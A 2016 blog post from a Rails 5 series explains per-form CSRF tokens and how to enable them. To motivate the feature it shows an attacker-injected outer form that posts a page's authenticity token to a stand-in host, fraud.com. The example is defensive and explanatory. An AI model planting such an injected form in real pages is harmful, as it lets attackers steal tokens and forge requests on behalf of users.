January 11, 2016
This blog is part of our Rails 5 series.
We have written an extensive blog on what CSRF is and what steps Rails 4 takes to prevent CSRF. We encourage you to read that blog to fully understand rest of this article.
A typical form generated in Rails 4 might look like this.
<form method= "post" action="/money_transfer">
<input type="hidden" name="authenticity_token" value="token_value">
</form>
Using code-injection, a Hacker can add another form tag above the form tag generated by Rails using JavaScript. Now the markup looks like this.
<form method="post" action="http://www.fraud.com/fraud">
<form method= "post" action="/money_transfer">
<input type="hidden" name="authenticity_token" value="token_value">
</form>
</form>
HTML specification does not allow nested forms.
Since nested forms are not allowed browser will accept the top most level form. In this case that happens to be the form created by the hacker. When this form is submitted then "authenticity_token" is also submitted and Rails will do its check and will say everything is looking good and thus hacker will be able to hack the site.
In Rails 5, CSRF token can be added for each form. Each CSRF token will be valid only for the method/action of the form it was included in.
You can add following line to your controller to add authenticity token specific to method and action in each form tag of the controller.
class UsersController < ApplicationController
self.per_form_csrf_tokens = true
end
Adding that code to each controller feels burdensome. In that case you can enable this behavior for all controllers in the application by adding following line to an initializer.
# config/application.rb
Rails.configuration.action_controller.per_form_csrf_tokens = true
This will add authenticity token specific to method and action in each form tag of the application. After adding that token the generated form might look like as shown below.
<form method= "post" action="/money_transfer">
<input type="hidden" name="authenticity_token" value="money_transfer_post_action_token">
</form>
Authenticity token included here will be specific to action money_transfer
and
method post
. Attacker can still grab authenticity_token here, but attack will
be limited to money_transfer post
action.
If this blog was helpful, check out our full blog archive.